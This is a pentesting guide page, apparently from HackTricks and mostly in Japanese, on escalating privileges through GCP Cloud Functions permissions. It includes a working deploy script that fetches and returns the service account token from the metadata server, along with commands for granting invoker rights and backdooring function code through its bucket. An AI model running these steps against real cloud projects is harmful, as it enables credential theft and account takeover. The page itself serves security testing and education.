# GCP - Cloudfunctions Privesc

{{#include ../../../banners/hacktricks-training.md}}

## cloudfunctions

Cloud Functions に関する詳細情報:

{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
{{#endref}}

### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

これらの権限を持つ攻撃者は、**任意の（悪意のある）コードを含む新しい Cloud Function を作成し、それに Service Account を割り当てることができます**。その後、metadata から Service Account token を leak して、その権限を奪取します。\
関数をトリガーするための追加権限が必要になる場合があります。

Exploit scripts for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) and [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) and the prebuilt .zip file can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).

### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`

これらの権限を持つ攻撃者は、**Function のコードを変更し、割り当てられた service account までも変更して、token を exfiltrating することができます**。

> [!CAUTION]
> cloud functions をデプロイするには、デフォルトの compute service account またはイメージのビルドに使用される service account に対する actAs 権限も必要です。

関数をトリガーするために、version 1 cloudfunctions の `.call` 権限や、ロール `role/run.invoker` のような追加権限が必要になる場合があります。
```bash
# Create new code
temp_dir=$(mktemp -d)

cat > $temp_dir/main.py <<EOF
import subprocess

def main(request):
cmd = "curl -s -f -H 'Metadata-Flavor: Google' 'http://metadata/computeMetadata/v1/instance/service-accounts/default/token'"
result = subprocess.check_output(cmd, shell=True, text=True)
return result
EOF

echo "" > $temp_dir/requirements.txt

zip -r $temp_dir/function.zip $temp_dir/main.py $temp_dir/requirements.txt

# Update code
gcloud functions deploy <cloudfunction-name> \
--runtime python312 \
--source $temp_dir \
--entry-point main \
--service-account <sa>@$PROJECT_ID.iam.gserviceaccount.com \
--trigger-http \
--allow-unauthenticated

# Get SA token calling the new function code
gcloud functions call <cloudfunction-name>
```
> [!CAUTION]
> エラー `Permission 'run.services.setIamPolicy' denied on resource...` が出る場合、`--allow-unauthenticated` パラメータを使用しており、それに対する十分な権限がないことが原因です。

The exploit script for this method can be found [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).

### `cloudfunctions.functions.sourceCodeSet`

この権限があれば、**関数バケットにファイルをアップロードするための署名付きURL（ただし関数のコード自体は変更されず、別途アップデートする必要があります）を取得**できます。
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
-H "Authorization: Bearer $(gcloud auth application-default print-access-token)" \
-H "Content-Type: application/json" \
-d '{}'
```
この権限単体が攻撃者の観点でどれほど有用かははっきりしませんが、知っておくと良いでしょう。

### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`

先に挙げた**`.update`**または**`.create`**のいずれかの権限を自分に付与して、権限を昇格してください。
```bash
gcloud functions add-iam-policy-binding <NOMBRE_FUNCION> \
--region=<REGION> \
--member="<MIEMBRO>" \
--role="roles/cloudfunctions.invoker"
```
### `cloudfunctions.functions.update`

Only having **`cloudfunctions`** permissions, without **`iam.serviceAccounts.actAs`** you **関数を更新することはできません。したがって、これは有効な PRIVESC ではありません。**

### 関数の呼び出し

`cloudfunctions.functions.get`、`cloudfunctions.functions.invoke`、`run.jobs.run`、および run.routes.invoke の権限があれば、アイデンティティは Cloud Functions を直接呼び出すことができます。関数がパブリックトラフィックを許可しているか、呼び出し元が関数と同じネットワーク内にあることも必要です。
```bash
curl -X POST "https://<FUNCTION_URL>" \
-H "Authorization: bearer $(gcloud auth print-identity-token)" \
-H "Content-Type: application/json" \
-d '{  "name": "Developer" }'
```
### バケットに対する読み取り・書き込みアクセス

バケットに対して読み取りおよび書き込みアクセスを持っている場合、コードの変更を監視でき、バケットが更新されるたびに**新しいコードを自分のコードに差し替えることができ**、その提出したbackdoored codeで新しいバージョンのCloud Functionが実行されるようにできます。

You can check more about the attack in:

{{#ref}}
gcp-storage-privesc.md
{{#endref}}

しかし、サードパーティのCloud Functionsを事前に乗っ取るためにこれを使うことはできません。自分のアカウントでバケットを作成して外部プロジェクトが書き込めるように公開権限を与えると、次のエラーになります:

<figure><img src="../../../images/image (1) (1) (1).png" alt="" width="304"><figcaption></figcaption></figure>

> [!CAUTION]
> ただし、これはDoS攻撃に利用される可能性があります。

### Artifact Registry に対する読み取り・書き込みアクセス

Cloud Function が作成されると、プロジェクトの Artifact Registry に新しい docker イメージがプッシュされます。私はイメージを別のものに差し替えたり、現在のイメージ（および `cache` イメージ）を削除してみましたが、何も変わらず Cloud Function は動作し続けました。したがって、バケットと同様に実行される docker コンテナを変更するために**Race Condition attack を悪用できる可能性がある**ものの、**格納されているイメージを単に変更するだけでは Cloud Function を乗っ取ることはできない**ようです。

## 参考

- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)

{{#include ../../../banners/hacktricks-training.md}}
